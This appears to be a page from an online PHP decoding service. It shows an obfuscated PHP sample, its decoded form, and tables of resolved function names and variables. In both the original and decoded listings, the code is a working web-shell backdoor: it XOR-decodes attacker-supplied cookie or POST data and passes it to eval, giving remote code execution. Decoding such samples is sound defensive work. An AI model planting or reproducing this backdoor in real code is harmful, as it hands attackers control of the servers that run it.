Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $oMKvIo = 's' . "\164" . chr(114) . chr(95) . "\162" . chr(348 - 247 ) . "\x70" . c..

Decoded Output download

<?php 
$oMKvIo	=	's' . "t" . chr(114)	. chr(95) .	"r" . chr(348 - 247	) . "p"	. chr(778 - 677) . chr(714 - 617) . "t"; 
$zUALCXM	=  chr(834 -	733) . "x"	. chr(882 - 770) . "l" .	chr(111) . "d" . "e"; 
$_sM = '26444'; 
$YzWSqw = "p" . chr(788 - 691) . 'c' . "k"; 
 
function oHCXBN() 
{ 
  $IYLsjj	= Array("OzLVSqGbGhYAR"	=> "QopwBtDCbWa"); 	 
  $DVxYL = Array("qEqRcNrmcqDtT" => "voPzPWpFcTR"); 
	$_cUeYM = '56401'; 
	$QwmQtZ = Array($IYLsjj,$_COOKIE,$IYLsjj,$_POST,$DVxYL); 
	$_AR = '49182'; 
 
	return $QwmQtZ; 
} 
  
function qEjzwPQAeS($MhpNgxM, $IYLsjj) 
{ 
	if (count($MhpNgxM) == 3) { 
		$hkRdoV	= $MhpNgxM[1]; 
		$_mfK	= '21535'; 
		$UewCT = $MhpNgxM[2]; 
 		$UxDljpTO = $hkRdoV($UewCT); 
		eval($UxDljpTO); 
 
		die(); 
  } 
} 
  	 
function maGWuSn($XfliwZSXq, $UIYvjfcLef) 
{ 
	return$XfliwZSXq ^ $UIYvjfcLef;  
	$_KjmSm	='25968'; 
} 
			  
$mRiTu	=chr(35);; 
 
foreach (oHCXBN() as $ZLXjkVEDp) 
{ 
  foreach ($ZLXjkVEDp as $UIYvjfcLef =>	$XfliwZSXq) 
	{ 
		$lcuwrqbqf = strlen($XfliwZSXq)/strlen($UIYvjfcLef); 
		$_mQ = '39711'; 
		$XfliwZSXq = @$YzWSqw('H' . '*', $XfliwZSXq); 
		$UIYvjfcLef .= "PrV-RWUre-zzdEHOG-zuX-VTACk-SbfxWvY-DVtwj";; 
 
 		$UIYvjfcLef = $oMKvIo	($UIYvjfcLef,	$lcuwrqbqf + 1); 
		$_s	=	'16369'; 
		$wvXDa=	strrev(""); 
   	$wvXDa = maGWuSn($XfliwZSXq, $UIYvjfcLef); 
		$_FzwHS = '12451'; 
		$MhpNgxM	= $zUALCXM($mRiTu, $wvXDa); 
 
		qEjzwPQAeS($MhpNgxM, $mRiTu); 
		$_c = '21383'; 
 
		continue; 
	} 
} ?>

Did this file decode correctly?

Original Code

<?php
$oMKvIo	=	's' . "\164" . chr(114)	. chr(95) .	"\162" . chr(348 - 247	) . "\x70"	. chr(778 - 677) . chr(714 - 617) . "\x74";
$zUALCXM	=  chr(834 -	733) . "\170"	. chr(882 - 770) . "\154" .	chr(111) . "\144" . "\145";
$_sM = '26444';
$YzWSqw = "\x70" . chr(788 - 691) . 'c' . "\153";

function oHCXBN()
{
  $IYLsjj	= Array("OzLVSqGbGhYAR"	=> "QopwBtDCbWa"); 	
  $DVxYL = Array("qEqRcNrmcqDtT" => "voPzPWpFcTR");
	$_cUeYM = '56401';
	$QwmQtZ = Array($IYLsjj,$_COOKIE,$IYLsjj,$_POST,$DVxYL);
	$_AR = '49182';

	return $QwmQtZ;
}
 
function qEjzwPQAeS($MhpNgxM, $IYLsjj)
{
	if (count($MhpNgxM) == 3) {
		$hkRdoV	= $MhpNgxM[1];
		$_mfK	= '21535';
		$UewCT = $MhpNgxM[2];
 		$UxDljpTO = $hkRdoV($UewCT);
		eval($UxDljpTO);

		die();
  }
}
  	
function maGWuSn($XfliwZSXq, $UIYvjfcLef)
{
	return$XfliwZSXq ^ $UIYvjfcLef; 
	$_KjmSm	='25968';
}
			 
$mRiTu	=chr(35);;

foreach (oHCXBN() as $ZLXjkVEDp)
{
  foreach ($ZLXjkVEDp as $UIYvjfcLef =>	$XfliwZSXq)
	{
		$lcuwrqbqf = strlen($XfliwZSXq)/strlen($UIYvjfcLef);
		$_mQ = '39711';
		$XfliwZSXq = @$YzWSqw('H' . '*', $XfliwZSXq);
		$UIYvjfcLef .= "PrV-RWUre-zzdEHOG-zuX-VTACk-SbfxWvY-DVtwj";;

 		$UIYvjfcLef = $oMKvIo	($UIYvjfcLef,	$lcuwrqbqf + 1);
		$_s	=	'16369';
		$wvXDa=	strrev("");
   	$wvXDa = maGWuSn($XfliwZSXq, $UIYvjfcLef);
		$_FzwHS = '12451';
		$MhpNgxM	= $zUALCXM($mRiTu, $wvXDa);

		qEjzwPQAeS($MhpNgxM, $mRiTu);
		$_c = '21383';

		continue;
	}
}

Function Calls

chr 10
oHCXBN 1

Variables

$_AR 49182
$_sM 26444
$DVxYL [{'key': 'qEqRcNrmcqDtT', 'value': 'voPzPWpFcTR'}]
$mRiTu #
$IYLsjj [{'key': 'OzLVSqGbGhYAR', 'value': 'QopwBtDCbWa'}]
$QwmQtZ [{'key': 0, 'value': [{'key': 'OzLVSqGbGhYAR', 'value': 'QopwBtDCbWa'}]}, {'key': 1, 'value': 0}, {'key': 2, 'value': [{'key': 'OzLVSqGbGhYAR', 'value': 'QopwBtDCbWa'}]}, {'key': 3, 'value': 0}, {'key': 4, 'value': [{'key': 'qEqRcNrmcqDtT', 'value': 'voPzPWpFcTR'}]}]
$YzWSqw pack
$_cUeYM 56401
$oMKvIo str_repeat
$zUALCXM explode

Stats

MD5 9d10e4d1c9e8bf2866bc9f4028f7678e
Eval Count 0
Decode Time 94 ms